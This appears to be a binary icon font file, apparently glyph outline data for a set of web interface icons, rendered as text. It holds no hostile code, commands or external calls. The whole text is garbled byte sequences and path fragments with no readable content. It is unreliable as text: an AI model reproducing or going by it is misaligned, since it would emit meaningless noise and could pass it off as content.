V#! @P		P$4 $$ 4$5"$% @ '  &'.7>3264&#"&546;26762"u8[5	 @Q}G		upPP/OBN	.%,.
/>0"		TPp/)    !  "&547632654.676#11#qq7%&
"2,2M/OqqON9U&% "*=%
      @   -  %#".'&47>22654&"72"&54732654'6=*[<oV*<TTxTT<(88O9	Pa-O5PaaT<<TTxT8O99'	       3 J  %27#"&'&4767#"'&54?632>32'654&#"654'6320@4)%[*i'@_57[*0IT<6I	'80)
aPQ%=#:c
aP<9<T98'    H   !  %#!"&762"264';2574&+": 8&&Z0@00&&  @ *  2++"&?#+"&?'&6;23'&>;2BBri	B	1g+(	  	(+g1B	i '2':ll:      	  ! - 9 E Q o  !#!"&%;2=4+";2=4+"';2=4+";2=4+"';2=4+";2=4+"2!546;546;23546;2@((((((((((((P@0	 		 	((((t((((t((((@000		00		0      ;  %&=#"/73546%"=4;2'!#+"=4;76;546&5P;F55 coF55  oT;PPYP(K:9(g8K:98(PP       2#"'#"&'&>7&54Ԗj83AL9zz319JV          ?  #"&=46;2%+"=46;232".54546;226=46hYhNt{tO2<2,PPP|,	Ht;;tG14-44-4    ;E   /&/&4?62=    ;E   7'&4?>76"C    } ! C  %"/&4?625#"/&6;2762+"&="/&4?62"/32vee(	
(
(ee(	hdd+
+
+dd+   B .  %#!!2"&547#"&547#"&=46;2!2 !.!!.!FF

g	 #!!!! W

-          2#!"&546;`@@ @     D     %#!"&?>3!2%"46;32=I!pI!T 	E@||8v@0            / ? T  %"&=46;2#3"&=46;2#!"&=46;2#3"&=46;2#2#!"&546;2M&:&&:&		0	 	FF@	 	P		       - 5 = M  !2#!"&546";2=4#2=4&+"#"3264&"62"&4265463264&#"0`	t@	dFFdFTH44H4!			&` 	
`J	-$FdFFd4H44H4			&     " *  #"'+++"&=4?&54>32264&" gI%
(
p
	/Q0Ig((Ig(
(

N
0Q/g((    ; C      '&'&?&'#"'&76;67'&767667632+/'>'&/'.=&''&'&?&7'&76766754676276>.6'&'&?&'#"'&76;67'&767667632+/'>'& 







&	&	g"	!&&	 
!!
 	&& 
"{#0#0	







&	&			
				

	>##
(
""
'
 
'

"	"&
50#0#		
				
		>##  B  +   #"'#"&'&767&5462#"'#"&'32654'zV<3+.&z.+3<@hc9HB^")3B^"
6,qO	Q13         &?'&6?6  jA	HD	g&       ,  %+"/&=#"&546?#"&=463!2+*&


0&*



* -
h00h
$<v
0

0
   @ 1 9 A  232#!"=46;5.'&'&=46;5463!2&'#%5#676(
>0>%0%%0$>0>
h

@@#
88-"4HH
&"-88
(

()--)         / 7 ?  %#"&=#"&?62+7#!"&=46;;26=324&"264&"2(P
X
		
X
0

!P!
|L@
		
p

p
!!j  # 7   &.7>&>676>.2327>"		
'BF:;-++"		
'BF:;-+4j
^"++-;:FB'
		"++-;:FB'
	cj4,^        #"/&?6>7'&?6p1;[<0h0<\:2p       .  2#!"&54632654/"#"'&#".xA
%#KF	`x	FK#%
A     &  %2#!"&=46;5462+"&=4&#"Y}Z
 
+*f@ZY?

*+g      @ 	  ! +  =!#!"&7;2=4+";2=4+"!5463!2@ HH X((((00         1  6"&462+"&5.'"&=463+"&5.'"&=463%5&&5	0	wT	
t	0	ː	
VsF;5&&5%o
	Tw	0	t
		0	Gr       @   & .  %#!"&=463!2'!"7>3!2&"264&"264@ 0 aa3s``<
`      @ , 4  $#"/&++"'&547#"&=46;2?632#2@ 	UBUK"%%UBU	@!TkkTJ
D5+"#5:%`%5D
C`C   ;  %//&/&?'.?'&6?'&67>7676.
?>	--	>?
..
?>	--
>?
-
>?
..
?>
--
>?
//
?>
        ' 7 ?  %+#*#"&'.=47>763232+"&=46;24&"2 d
##GE
	`
0

0
+% $	-+


         & 6 >  3&'&632#*#"&7.7.7#"&54632+"&=46264&"-	
EG#('
d0

0
$+-	$$#%+



   ' 7 ?  2666+"'.'&54654632+"&=46"264+%#$$
-+


d
'(#G
E
	`
0

0
     & 6 >  5&547>76;2'''#"&546;2+"&64&"2\+-	$$#%+



	
EG#('
d0

0
      %  "&462'326=4&+764/&"2?64gΑΑL

L8ΑH

H     %  2"&47#";2?64/&"ΑΑL

LΑH

H     %  6462"'7;26=2?64/&"2ΑH

HYΑΑL

L      %   "&46254&+"'&"2?64/&"ΑH

H'ΑΑL

L 	       " + 1 7 =  #>2473#%#&'%#>#64'#&4733"&673%3.P0:0Bl#5S$lSk		rr		r(0:0$lSl#5S DTT@  @ \2K[2\3K    !>!@"!>!!DTTJ2\3K~\2K     $  '"&4?&67>76 264&"	P&5%J$JDK<S$I%5%Q	KDJ         + 3 C S c  "/&4?62762"/&4?627622"&4%2#!"&=4632#!"&=4632#!"&=463I
/
@
H
/
@
\((				 				 					H0
?
H/	?((	 		 	@	 		 		 		 	     2/&='&63P
8ι        ' +  %53#!"&=3;2672!546;546;2#5#@`	`	 P@p00		PP00      ;  %"/&6;5#/&4?635#"&?62+3546&=#32`OO3eOOe3OO3eOOe3OOe3OO3eOOe3OO3e        & : H  6"&462"&4622+.'63*&4622#!"&=46;27'#"&=46;2z4&&4&4&&4& &B \BB\B#0CC0	!F!(B&@&4&&4&&4&&4F& *!B\BB\bC00C:# &    % K  "&4?62?64'&'&5&?66&'&'&?>'&"&'&4?6G,,D,~Y,&	<C	jY,&	<C	
,,D,-~,D,Y~,&
	;C<
Y~,&
	;C<
	-~,D,       %#!"&5467454632632.K5<T6*^B,J(8$65KT</JB^,$8(     %  %#!"&?5#"&=46;2+3'&=#(**(u



0@,#II#



iN

    ' / 7  %"/"&46327'#"&462762264&"264&"		Ft8P88(!!(88P8tF			s(88P8!!8P88(s	F      # ,  !#!"&546;3;#!"&546;#532@


H!
h


y`
(

p
!X


p
I
`  2  &6?62&'&6?6?64'&"2?6"++,"^!!!@		(3H-~--"""_!?		*K5-      (  #!"&5463!2264&"4/&+";256%%6%>`%6%%6h        2#!"&5463`      /  "&=463!2#"&=463!2#"&=463!2#				`				`				<	(		(		(		(		(		(	         ' 7 G  2"&42"&42"&4%2#!"&=4632#!"&=4632#!"&=463((((((				@				@				((((((	 		 	@	 		 		 		 	    * : J Z t   7#"'&?63254+"/&?67#"=4;20%2#!"&=463%2#!"&=4632#!"&=463'"=4;5#"54?6;232#"=4>54#"/&763232#>	9				@				@				D		

'/		
			 		 		 		 		 		 	@X
	        1 T  %2#!"&=46;&'&54>;2#"'.+"3+"./&54?632;2654&		 		f!9"D C	+
BW^H4D.%
	+

B	 		 	"9!)
`3I!

	       / ?  "&=46;2+26=#"&=46;2+"&=2#!"&=463 				 /B/ 				 ^^p		`			 		 	!//!	 		 	B^^B	 		 	             2#!"&54635#75#5#75#``````````          ' +  /?/?/?"/&47627'    5555E5555b			
U		l	
;W3V`   `555555
			U
	l		V3W    ' / 7 <  %2+"&5#"&5#"&5463!232264&"264&"75'#p		08P88P8@,d,((\((d,`	 	(88((88(@0dlp((((dp           ! & +  2#!"&546334&#5265#264&"5"75#`@%%@B//B/`%@@%@%%8P88Ph@%@%    W9    !2"/&6
		
 		      `9	   %!"&?62!
		
`		      ' Y   /&4?6		A
		
       ' Y   546&		?
		
          2#!"&5463#!#``       3    732"/&6%+"&?62)wwwwwiw    3    732"/&6)wwww    4   %#"&?62wwww        :  6#!"&=4632>76".#&'&=463!2"`!y
	vz4		1}X		Ue	Y(&[	      +  7#"&=4;2>3#"'&?63264&#"320#a6gg_G
	"	2BIggI+JbN'+͑@		",gg'!0      7  %"/&4?'"/&4?627'"/&4?62762|(Q		s		.		s		Q(}q}(Q		s		.		s		Q(|q  D   2#"&?#".?>;2(.w 
* 
       5 E U  72+"&=4637#546;5#"&=46;2+32#5##52+"&=463!2+"&=463`H0((00H`P````P0:@``@:000P````   B - C  %'."'0.#""'.&7>75462632#"&'&>3265@57	(74\\/!*	
#+
'"+$
cz

zx!/		      / 8  #"&546;6232#"6"2643+"&546;7#532h

QJQ
!*h


r`
B
P
  
H!y

0
h
&`B      `    0  53+"/&46320#41&'&7264&#"26546`
>	`dKJg,%%,		.B		/&&
 GigIB2+00+2		B.		!/        U  $"&462462"7#!"&=4672654&'527267?6/546?6=4&'jKKjK6J@0!.!:$00 $KjKKjN5--1KQ!!R

.,, *,        B J  2#"&'.=46?6326='.?>326=&7>264&" gIGg7I?
	9('8
?I73.B!$			P%qEc_DY9		
{(8:'z

	9X.=+q&%P			       	   !  46;235+32#"&546;00`00 p  P `      +  "&537#!".54767>546754624&			H8%:!@%q
	
C,:V,B&,C     '  7"&=463!2+##3264&!"'&763!2(8
5KK5 8(  && !	H@8(
KjK(8 &4& 	        ' 3 ; G S o  !54;46;546;23232#";2=432=4+"#"3547#";2=44+";25'3;2=32=4+54+"#"@
X
p
X
((((t(@4((((
,h
H

H
 ((@((TT`(((      ' / K S X  %2+"&5#"&5#"&5463!232264&"754+54+"#";;2=32264&"75'#p		08P88P8@,d,((808808((d,`	 	(88((88(@0dlp((088088((dp        % I  3546;2335+32#"&546;4&+54&+"#";;26=3265`  @ 	0	 	0		0	 	0	 `00  P ` 	0		0	 	0		0	      /  %#32+535##'53535'575#5#57335#532+3 ``0u(s0C"0@@0"C0s(u0PE*EP     " . :  2#!"&5463!254&+7626=4&"26=4&"p!/Q



@	07				W			`/!'
$*



(с	E							     3  #!"&5463!2#"#54&+";26=3;26=4&`p 		 		 		 		p`D	PP				PP			     +  2#!"&546354+54+"#";;2=32@\8\\8\`8\\8\\   a  *  ?62"/&4&4?62"'````ш````   a  +  7"/&4?'&4?627"/&4?'&4?>2````			````   A  +  7"/"/&4?62'62"/"&/&47````			````   A  )  7'&4?62762""/&4?62762````````    a   ?62"/&4 ``ш``    a   7"/&4?'&4?62````  XA(   "/"/&4?62`` ``     X@(   7'&4?62762"`````   @  #  2+32#!"&46;7#"&5463!H



H@00@        ! %  %2#!"&=46;;267!463!2!p	& &	= @ 	&&	pP            2#!"&5463264&"`     @    2+"&5463264&"c`         9  %2+"&=46;2+"#2+"&=46;2+"^B

&^B

&B^
0
&@B^
0
&@      9  2+"&=46;26=#"&=463#2+"&=46;26=#"&=463^B

&P^B

&PB^
0
&@B^
0
&@            ' / 7   "&4622"&462"&4 "&4622"&4$2"&4 2"&40(((((((((((B((((((`((((((((((B((     2"&4ΑΑΑ        )  2"&4"264&"26464."'.2ΑΑU	
#n#
	-Α**6       %  2"&4"264&"264>'&"762ΑΑU--#nΑ66*           2"&4"26424+"36264&"ΑΑΑ       `  - 5 =  2#"&'##"&46354+54+"#";;2=32264&"6264&"B^^BC\CB^^BX4444""W""`^^^^4444@""I""     @   ' 3 ? K W c o {     )"&5463!254+";2754+";2754+";2754+";2754+";254+";2754+";2754+";2754+";254+";2%54+";2754+";2 \((`((`((`((`((((`((`((`(((( `(( ((((((((((T((((((((T((((((     . 4 X  .'76#"&#"+"&5&546623256%5'5&'&56765767556	2	2;?$i>4

"!Gh0"(#M'##&>&#7.(!?&#%% *D	)"^

!#HFGH	DDGFFDDHFG    $  %"/&4?'&4?62#!"&=463!2w


0


 

     +  '&76'/&?6/&?'&?6==}	

	+		[[			+		[[		+	

@*t				.	PP	/	.	PP	.			   @  0  76&76&'/&4&4?61'3N>!0#9Txmm
S)F/,UZR
T

^^
   	   6.=#"&67/ 
/`%-       7  %2++"&53#"&5#"&=46;546;27#5376

(
0
s
(

(
0
s;;`
0
(

`

0
(

`;;       6 > F N  "&54>75.546267>767.5462$"264264&""264- 2
/B//B/9/B/									0**	)!//!*!//!*	 !///						7			    / ?  %"&4?62?6/&?62/&?64&""'&4?620		-,~Y,-	(-*<-(		-,~Y,-	(-*<-G*	-,Y~,-		(-<*-(	-,Y~,-		(-<*-G  z ) 1  2+"&=4>7>54&#"/.762"&4Bn%%
H
,+?F:((:(Z@ 1


"![)9))9         &  735#"&=46;232+"&=462"&4p6<**<*000*<**<        6"&46246;2+"&5/B//Bh
^

B
1B//B/G



        S  2+"&=46;5#"&54?6;2'2+32+"/+"&=46;7'#"&=46;2763		`			
0			!NN!		CPPC		!NN!		CPP 	 		 	`	 		`	0	pp	0	ss	0	pp	0	ss         S  !2+"&=46;5#"&54?6;22+32+"/+"&=46;7'#"&=46;2763		`			
0			!NN!		CPPC		!NN!		CPP	 		 	`	 			0	pp	0	ss	0	pp	0	ss      %32#!"/&4762%37` (|PrD(`( (1}PC     @ K  %2#"&#"".54654&#"&/054&54632>?03261
! $$#%54@p '#$#**")	2#$##0	M
2	20Ek     `  <  6"&=4627232+"&=46;5.=46;26=463P88P8@	WA8				8AW		B19T	`8((88((h	0Bc	"				"	iD(		*3NM80	   % F  '&?6546326=46;22+"&=46;5.=7z	
	
8(,		L				8AW4/2

	
	-(8,0		0*&				"	iD),'"      +  !2#!"&54%#!"=46;54;2354;232X0((0 ,$4444     8 @  6/&5#+"&=4675*.767&632347264&"
(

)	<!":
			t

!5
		L1-			     * 2  #"&="/&4?#"&54?>;>32264&"D<b


3		h
1h&eH3 
""!2Hd'h1
h		3


c
=C""         "&462%2?64/764/&"gΑΑee8ΑVff      2"&4'&"2?64ΑΑjeeΑVff      6462"2?2?64/&"ΑVffYΑΑjee        "&462764/&"'&"2ΑVff'ΑΑee    B B J  7"&?6+5#"=4;5.54632+>7#"&?6+"&' "264DD#R044$9((7$440R#DD  `DD'1(
2(98'2
(1'DDIWWI        & 2  %2#!"&=46;5462+"&=4&#"54&"26Y}Z
 
+*p""f@ZY?

*+g00         2"&4264&"62"&4264&"ΑΑllljKKjKf4&&4&ΑlllKjKKju&4&&4     x     $"&46:"&4$2"&4H*<**<t<**<*<**<*<**<**<**<**<**<          2"&<62"462"B<**<**<**<**<**<*<**<t<**<*<**<*        ) ;  2#!"&5463264&"265.'"3;265.'"33,((uS<U~f`((Su#U<}#f      2"&4>4&/&7ΑΑlΑk       2#!"&5463!2=4#!",`88         !"&5463!2'76/&'&`Fh `bFh        *  !"&5463!23?6/&7'&"?64`97g7 `.98	7     A  @  &="'.54>3546463276#!"&546;2+!8-?0	+-FJ/
y	3@H
';(O)*>&	HY`           >2"&2"&46.?67GΑΑv	BΑBB         #!"&5463!2?6&+"`||p`||         5463!2#!"&%'&;26`d||`||        !2#!"&54676/&0`||`||      B E  %#"&'#"&=4;&7#"&=4;>32'&#"32+32+32767	Mp!oH(>

r&",VF@P,(#	
		    @ 6  %2#!"=4;5#"=4;54632'&#"32+354634$O=7/			TT{`h((B7G#
$
@(3   * A  7+"&="'.?6;2654/.'&6;546;22'&+",-:$	 	0&"

Bg".A1	 	0&"

B	T-!'0		0"	

4"1G0		0"	
	   @ 4  #32++"/&=46;267#"=4;&+"&=43!24I	;5L9ST')U(`(8F5 (-(  n :  232+32++"=#"=4;5'#"=4;'&6;236?63_P:Xll8llX:PA77 % \\ % qH%#q       ) 2  7#32++"=#"=4;5#"=46;54;2'32654&#\;4444@QQM$((# (44( -OQۖ)#"(     @ E N R Z d h  #32++"/#+"/#"=4;'#"=4;'&6;2376;2376;2327#32>?#;'&'#7#136?#4?FU*
9	+7*
9	)TF>0*
m	,
n
.0x&Q'Q  (				( (Q		VV		VV		Q(66/  	66         ;#!"&546;#532



Ƞ
b8



zb       ) 5 >  ;#!"&546;54+";2=4+";254+";257#532



@`
b8



LTzb    5 O R  72"/&6;46;2%232+"&=4?#"&=4637+"/#+"&54?6;23'PP0	 	 	=8			=8			G	;*4 ```0		@	
F	 		
F	 	U		e0      5 O R  "&?62++"&5232+"&=4?#"&=4637+"/#+"&54?6;23'PP0	 	`	=8			=8			G	;*4  ``		0	
F	 		
F	 	U		e0      % 5 E U  %2+"&=463'2"/&6;46;2%2+"&=4632+"&=4632#!"&=4630		@		@PP0	 	0								 		 		 	 		 	@``0			 		 		 		 	 	 		 	    % 5 E U  %2+"&=463"&?62++"&5!2+"&=4632+"&=4632#!"&=4630		@		PP0	 	p								 		 		 	 		 	 ``		0	 		 		 		 	 	 		 	   5 = S  "&54?6;232+"&=46;56&/&767.7>264&"2"/&6;46;20	
0			`		
(>%
	$+
  PP0	 	`	 		p	 		 	@1'#2"=&\``0		    = S  %6&/&767.7>264&"'"&54?6;232+"&=46;5'++"&5#"&?62J(>%
	$+
!	
0			`		P0	 	0P1'#2"=&\	 		p	 		 	@;`		0`        D  72+"&=463264&"32#+"'&#"&=47>767632h

P

X e#

*!0H#5



y?#.) M,:$        F  46;2+"&56264&""'&'.'&=463276;23+
P

P
(#H0$
#e 



2:,(+ ).#?$      $  2"&4++"&=#"&?>;732e6%%6%8
 
80%%%6%%6h

h        $  2"&42++"&=#"&=46;7E6%%6%p

@

%%%6%%6k



   / 7  2"&4/"/&?'&4?'&67627664&"P88P8V

^!
d0/d
!^

^!d//d
!cKKjKK 8P88P/d
!^

^!d//d
!^

^!
dKjKKjK        ".5463276EvEj/7]>J@EuFj^6^y*       	  %  3!#!"&7;2=4+"%2#!"&=463 hh 	 	 0		0  ? E  %+"/#54+""'"&4?&=#"&546;5'&462376232 2#4 7=	
6(33(6
	=78/	
66
	/8\B <
	7  7	
< ;.
	77	
.;B..         !"&5463!26=4&`|| `d||         2"&44&"2ΑΑH/B//BΑΈB//B/      - C  %&/#"&'&54>32+3276'#"&54673267A> #		y9%W5Ig=2B.*?>!	$!	 	 {7/:gI7Y'3.B7)     :  %2+"=&=4?5&=4?54;27676265463t{eP1		71		78				Fbdp)
)
E3)
)
MH     3 <  %#!3#5#"&="=435"=435463352#!226&#"Q//4E	(B+*7"    "7*+B(	E54
#$#%@((@%#$#
p((@      % =  2#!"&546322>36754&#!"".'&'3!265
J(

(I	I

`5 

 	5		5

       % 9  +#!"=#"=4?622#!"=4637335335332!54;x
0
8@@@@@$`$@XX

       # .  /+"&?&54767'&47%67"&57n	8	0
pp!'"U<

ss
	"U,q%%q,
        `   D N e  7#?%2#!54+54+"#";&'&767?6'&'6732%463!!"&57;2?3;26/&+"&

 @@r			



 

;		<		9	 	&&!

@x
	
		


##l

8		
       % 5 E U ^ n  2#!"&546;254&+";26=4&+";2654&+";26=4&+";26=#"&=#'2+"&5463	.		 		 		 		 		 		 		 		 	0	  	.	 		 		 		 		y 		 		 		 		w@	0@@      ) 5 = I U a  2!54;463!2;2=4+";2=4+"2=4+"354+"754+";2=4+";2=4+";2@
P
((((4(t((((((( 

8((l((((TT((l((l((       )  462"6+"&=#+"&5'&462376x*<**<	__	
VfV
Z<**<*P
^pp^
	WW	      ( 3 ?  62#"&#"#"&546&.'&>.676.7>.>L\>&"LM"&>,/-	*,-/	C_&&_j4--
&A7 !-4
-!7A&7!         6/&=46?7575NhhHNNPB         ! ' + / 3 7  %//&=4?54?65'75'57'57'dhhdadd"UwfffUUfffVUUfff	n
2442
n	$l	&&	lI$E))&K'O''*FK'O''*     8 U  7/;2+".?'&6?67&"/&?6276/.?+/&?6326/&?6	(3
44$6	3)	n|	$	"
j*(	n	(-`PP`

"

Q!(0A"QI

--B
n5+0PP0!,

    7 A P a  2++"&=!+"&=&=47#"/&6;7>;2%!'.+":>54&"!264&#":	   	< "9 9"N			06  60		*
& *22!	       1 9 B J  %+"&=!+"&=&=46?>;546;232264&"7!'.+"264&"     ++5
#0$)  )%0#U"  "]C    /  %++"&?5#"&?#"&?#"'&?>2++z
		`		
P	O
nn
O	F11Z[uu[         #  #".=4632"&= "&= ]=g<]=g<G2GG2w.+!.+!{g++g1og++g1       & B K O  7.4326673#!"&546;&'6'.32767326'&7#532'63O


&$>$

O
%+(6V
	



$/
76 &
>"	
        < E  ;#!"&546;"&'&+"&'&+";27673;2?6.#7#532



9
	

%
%		&
&O
b8



 
es		s_
			cX		b      4 =  ;#!"&546;6&+"4'&+";2767;26/7#532



<#%%#<<#"#<
b8



ED]^=!$^b         " =  72+57#532;#!"&546;4&+";26=:>
7



5(!Q=




!,9        " -  #5323#!"&546;"2645'&'&
b


j''(	g((Fb0



((p(h((0       * . O  #5322"&5467;#!"&546;3533526/&+535#535#535##3#3#y
		w



h @ 2
           W




     &W
            a      ! / = F  ;#!"&546;54&#";67764'&7&7647#532



@$$!
		O
	
)@
b8



l$8$8	;n
N	*ub         4  #532;#!"&546;4&54&+";26=65
b



`7
p

p
7Fb



7&

p

&7        3 G `  #5323#!"&546;7654/7654/&#"32032?454/0#"764/&#"327
b


s((AA5>>A((Fb0



$$==1g=$$       ! '  2"&4%&'264&"'677&'67'ΑΑ?P88P8 @m?@Α@8P88P?@m?     #  46#"&'46762654&'&5 QiBrCgiQ:LllL:VCrCgVb?LllL?b       6/&=6&'.7H
}@
 jP4MQ%,     % 7   #"'.?>3264&#"+"&=46632/546;2gXD2@LllLI53	2Hcg$A

)'͒7(ll23	2E3

h    K  32+"&=46;5#32+"&=46;#"&=46;2+35#"&=46;2# 				  				  				  				`	 		 		 		 	@	 		 		 		 	     !  ++"&5#+"&=#"&46;2	0	 	 	 	 B^^B	 			p		p^^	     # G k  %2#!+"&=#"&=46;546;2%2++"&=!"&=463!546;272++"&=#"&=46;546;2			 	P		P	 	P		P	 			P	 	P			 				 	@	 				 				 				 				 				 			      %  %2"&547'#"&46327&5462#"'6`(88P8f"(88("f8P88("ff8P88(
@8P8@
(88P8@

@     5  #!"&5463!2"'64'73264&"&#"327264&`DD!!.!D!!D!.!!p`))!.!!)!.!)!!.!       ' / 7 ? O  "&4632762?2+"43&2"=&?6'&6/&6463264&#"264zzzV-)4M0.	U	;	&		(8		h4)-Vzzz4<+					&		8(		      % *   "&462'7&''77'77'?6'7Αa?"'>KK>'#?&U%>>%U&NN'ΑΑ:T6**6T:B4"MM"4\88\    ! - 9 E Q ] i u       >#"/&5417&0#"/&54+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2+"=4;2DD
+W``W+`((`((`((`((`((((`((`((`(((( `((XD11D
E#<##<#E(((((((((((((((((((((       	  3 = A  #546;246;#+"&=>%+"&=#532%2#546353`	@	` `` `			`	p@00		w,$;)%-9)G,,	w	00	         # +  54622+#5.=#"&=4637#5462 0		I7@7I		p@0pp	 	 :XccX: 	 	p      @   & 2 > J V  2#!"&546;54632=#72=4+"3!2=4+"3'2=4+"3!2=4+"372=4#!"3(
(!
(
(h8h
!

``((     ,  '& /&47>2"&4%'&"/&4762{"nn"W6%%6%"??"W%"dd"Q99%6%%6y"

66

"L       / ? O _ o  2#!"&546354&+";26=4&+";2654&+";26=4&+";2654&+";2654&#!"3!26P&&&&&&&&&&&`M&&&&{&&&&{ff   # / 7  '&?66754621%#".547>"&53z	
	
%=8H	~		&

	
	p1V:,C
	
2%       !  2#!"&=46;76;2!+"&		`		x	r		 		 	MS     8  2"&4654/.#"&546326?654'.#"32>ΑΑm#'("$>R$C) 8Α"	0 !+#	R=)B&      : F  2#".'#"&546326;2>54&#"3276#"&462654&#" jJL*,4Q9*- jNLllL6-
	=JgQ%$|d?T91BVy2JVll	(Α))      #  ?+'754 "/&4?62763~~-8  8M))Ms~~  8-`8PM))M       ,  70#"&532762#"/&54>76XF:@@j UP.
@	'%?J8@XC			
D:a5	#8    # 4 ? J U  %"&""&#"#"&"#546;5335335332!526226226323"&546523"&546523"&54652'/''('/'@@@@@@''/''/'' 
r 
r 
@      P`      @%&%&%&            %2#!"54;2%6!57>(5ZWU@(hhr    !   #  %2/7+5463&'&676
=	
Y<K`wZS:
A
	+`\	        2  %2#!"&546;22/"//&?627'&63		0	 		 `

I.D

II @	 	P		 	v `		J.E		JJ         @     2+"&463264&"264&+PppPPppPKjKKj5KK5111ppppjKKjK KjK77      @    2+"&463264&"PppPPppPjKKjKppppKjKKj  8 < K Q g  2'.547'+#"&546327#"&54>;23'#"&=46;263&267#"&?&#"?#654&#"&/5KK54K)V4E,5KL41
W	r3		@N+J(	Q-	!//J$"2/!

--, M55JK48&*6K64K0
			}J&vI/B/`x( 0`0"!/H	G,     4 < L T  2+++"&=#+"&="&=#"&=46;5462 264&"7!26=4&#!"264&"

  

0  @
P
    
P
0".."0]p         ' ?  2#!"&5463&546?6'.676/&&546?6'.676/&`=@RA?S>@RA@R %"4./6%"4./6     9  4&++"&546;2+"&52+"&546;23265463!p	0	
8P	0		P8
	0	p!	!		
P8		0	8P
		!(	    B 3 W  %!!2#"&'&7#'.'4>7#"&=46;2!2'#54&+"#";;26=326=4& ! #	FF

g
	/t0		0		0		0		 #! !W

	-(		(		(		(		      B 3 F  %!!2#"&'&7#'.'4>7#"&=46;2!2'#54+"#"?6& ! #	FF

g
	/y++DD #! !W

	-<<DD     < D  %32#"'+".'#"&=463267'&6?546;546;232%7625=,

X70#7X

,>F*@

@*v
vK")

;!;

)"F#(

(#X&&X      2 6 : V  %#!"&=467'&6;&5&54767>?6327/77475#"'0326762676#%
:@F

F@;
 2*2J,42.	=#--$><!1"		"1!x(  (     H W m  2'"&547'+#"&7>767&+"&546;23'#"&=46;276;2+6267#"&?&#"%6&#"&/7>4KL64K-
TE,6KH2 8

8EB		P&-

R (	Q)!//0"122"+ K46LK4;')-
*6M63H

( 		&*
 
7K/B/L"2QR "0+       $ @  %"&54672654&'56&"&462"&=46;2732#+"&5pAOԖOA!3zz=3M6%%6%&@v.(88(.	!!%6%%6```     )  %3"/3727#'&"'&"#&6?62762@m^9$!w1:$f!$&n''n&,H		%i(7		b	
V(i%((''       ! )  32++"=#"=4;5.5462264&" ?1$$($$1?TxT/B//B3N4($$(4N3<TTB//B/             2/"&46327'&63264&"tQTxTT<*#PB//B/OP#*<TTxTQ/B//B      ; C  %32++"=#"=4;5.547&'&'&6;227676;2264&" ?1$$($$1?3&(
F
(&3/B//B3N4($$(4N3C+ /

/ +"B//B/    1 9  2/32++"=#"=4;5.546327'&63264&"tQ?1$$($$1?T<*#PB//B/OP#*3N((N3<TQ/B//B     P X  2/32++"=#"=4;5.547'/&?'&=4;276627'&63264&"Q?1$$($$ 3			O	#T#PB//B/OP#*3N(((;"*#	O	Q/B//B       ! ) W  32++"=#"=4;5.5462264&"32++"=#"=4;5&'673264&#"&'632 ?1$$($$1?TxT/B//B!$$($$"!//!"'2<T?3N4($$(4N3<TTB//B/4($$(4/B/ T<3N        ! N  2"/"&46327'&63264&"%2"/#".'672654.#0"1677'&63T
1TxTT<*#0B//B/
1T<%?'!/B/%!0O0#*<TTxT1/B//BQO0#*<T";$!//!%!1      @ & H P  2"/#"'673264&#"&'6327'&63232++"=#"=4;5.54264&"4
1T<2'"!//!"'2*#0oxT?1$$($$1?oB//B/O0#*<T /B/1@T<3N4($$(4N3</B//B       + 3  2//"&54>327'&?67'&63264&"t			TxT'B'*#	B//B/O			#*<TT<'B'			/B//B    ! , 4  7"&47675#"&=46;5#"&?6+32+64&"*TxT*(88('//B//*xTTx*	(88(	/B//B/     0P ( 0  %&=#+"=#"&462354;2354664&"		8(	*xTTx*	(//B//8(*TxT*(/B//B/        +"=.5462264&" ?1(1?TxTB//B/3NN3<TT/B//B       0 P    "264&2"&4B//B/xTTxT/B//BoTxTTx    	       / 7 ? O W _  !"&=463!2&"264&"264!"&=463!2&"264&"264!"&=463!2&"264&"264@3NX@3NX@3N @@X@@X@@X       # + ?  %2++"&=#"&=46;546;2"&4622#!"&=46;27p		@	 	@		@	 	jKKjK&7OO7#L#	 	@		@	 	@		@0KjKKjkO7**7O        # 7  %//&?'&?676"&4622#!"&=46;27N-..--..jKKjK&7OO7#L#.--..-->KjKKjkO7**7O       +  6"&462%2+"&=!+"&546;235463B//B/.B	 	 	 		 		/B//BQB.		00		`		А	     ' /  ##!"&?"&546;254&#!"3!26"264N4??4NO12N0


0
.!!.!` '9229' '99p

p
6!.!!.        ' 7 ? G  ##!"&?"&546;254&+";26754&+";26"264$"264N4??4NO12N
h

h

h

h
((((` '9229' '99p

p

p

p
.((((        `  ! %  !!535#7232+#!"&=463!5    

 ` @@

`       `  ! %  !!535#7232+#!"&=463!5    

 p @@

`       `  ! %  !!535#7232+#!"&=463#5    

  @@

`        `  ! %  !!535#7232+#!"&=463#5    

  @@

`     `  !  !!535#7232+#!"&=463    

  @@

      D   %#&/&546.j815W	wY	
	     H  #"32+72#".'#"&=4632=#"=4;54".=4>32>32 T$$T-.T$$T-.0p(p1((0p(p1(        , 8 G  32+"=!+"=4;#"=4;2!54;2+;2=4+"54++;2((((@T
H@((@((H
4     @ + ]  7+"=4;5#"=4;2!54;2+32+"=732+"=!+"=4;53;26=4&+5354;2+@44 4444
@

h44444@44H

@
H4        %"!"&5463!2+538



b




7b
       !  2#!"&54633#!"&546;0/ `0 !/       4 7 c  %"&5054676762'3#"&505467>762'3'2#!"&=46;&'#"&=46;6232+ KjK
<
H";#5K
<
ȐH		`		&		N		&p!//!<4&(59	%/!<

(59		 		 	')	 	  	 	)       * 0  2#2#!"&=463467.5"&=4634&"h

D55D



D5#7

=V=

CkkC



Ck8O-

@;UU;     * 0 6  2#2#!"&=463467.5"&=463."65#h

D55D



D5#7

2<2

CkkC



Ck8O-

$,,$ ""     * 0  2#!"&=463467.5"&=463!2265#hD55D



D5#7

P
V=CkkC



Ck8O-



U;;       *  2#!"&=463467.5"&=463!2hD55D



D5#7

P
CkkC



Ck8O-



        ?  2+"&=4/&=4632546323546323546323460
p pt
d+B00/     8  2+"&/&>54>32354>323546323546


}
!	 



@q!,ױW     .  4635#"&46;5#"&46;5'.7>7>+"  в$	pP	""(EK@
       @ &  54/&+"&=46;26?6&+"&=463!2p
%|

!
N
 =G
%3	!
	t  7   +"/.>5'&>763'&67637>376 $!='#
040 ,c*Y~!9P	     - 1 5 9  %+"/&>46235462354623462#37#37#3 
!	 """" XX`!,((a`````   -  $2+"./&6?'&>354623546234" @K%$E("P
p	$       `  G  2++"&=#"&=43+"/5#+"/#+"&76;236?6;2U6Ut6		2		6A	+	+	A`++6"UU6(5        *  %+5326"&462&'654+";26=3;26ۑΑ+&jG		
,8'ΑΑO2Y


